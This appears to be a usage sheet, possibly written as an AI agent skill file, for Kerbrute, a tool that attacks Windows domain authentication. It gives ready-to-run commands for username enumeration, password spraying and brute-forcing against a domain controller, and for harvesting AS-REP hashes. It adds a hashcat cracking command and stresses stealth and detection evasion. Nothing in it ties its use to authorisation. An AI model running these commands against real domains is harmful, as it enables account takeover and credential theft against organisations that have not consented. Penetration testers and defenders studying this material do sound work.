AeonDave Kerbrute
Fast Kerberos user enumeration and password spraying — leverages Kerberos pre-auth errors for stealthy enumeration.
Quick Start
# Enumerate valid users
kerbrute userenum -d domain.local --dc dc.domain.local users.txt
# Password spray
kerbrute passwordspray -d domain.local --dc dc.domain.local users.txt "Password123"
# Brute-force single user
kerbrute bruteuser -d domain.local --dc dc.domain.local passwords.txt john.doe
Sub-commands
| Command | Description |
|---|---|
userenum |
Enumerate valid usernames via Kerberos pre-auth |
passwordspray |
Spray a single password against many users |
bruteuser |
Brute-force a single user's password |
bruteforce |
Brute-force user:password pairs from file |
Core Flags
| Flag | Description |
|---|---|
-d <domain> |
Target domain (e.g., domain.local) |
--dc <dc> |
Domain controller IP or hostname |
-t <n> |
Threads (default 10) |
-o <file> |
Output valid accounts to file |
--hash-file <file> |
Output found hashes to file (AS-REP roasting) |
--downgrade |
Force RC4 (weaker) encryption |
-v |
Verbose |
--safe |
Lock out protection (stop at 3 failures per user) |
--delay <ms> |
Delay between requests (milliseconds) |
Common Workflows
# User enumeration from a username list
kerbrute userenum -d corp.local --dc 10.10.10.1 usernames.txt -o valid_users.txt -v
# Generate usernames from a name list first
# e.g., john.doe, jdoe, johnd, etc.
# Safe password spray (avoid lockouts)
kerbrute passwordspray -d corp.local --dc 10.10.10.1 valid_users.txt "Spring2024!" \
--safe --delay 1000
# Get AS-REP hashes for users without pre-auth (then crack offline)
kerbrute userenum -d corp.local --dc 10.10.10.1 users.txt --hash-file asrep_hashes.txt
# Crack with hashcat: hashcat -a 0 -m 18200 asrep_hashes.txt rockyou.txt
# Combined spray + extract
kerbrute bruteforce -d corp.local --dc 10.10.10.1 user_pass_pairs.txt
Detection
Kerbrute generates KDC_ERR_C_PRINCIPAL_UNKNOWN errors for invalid users (event 4768 not generated). Valid user hits produce KDC_ERR_PREAUTH_FAILED (logged as 4771). Much stealthier than LDAP enumeration.
Resources
| File | When to load |
|---|---|
references/attacks.md |
Kerberos attack chain (AS-REP roasting, Kerberoasting), username generation, detection evasion |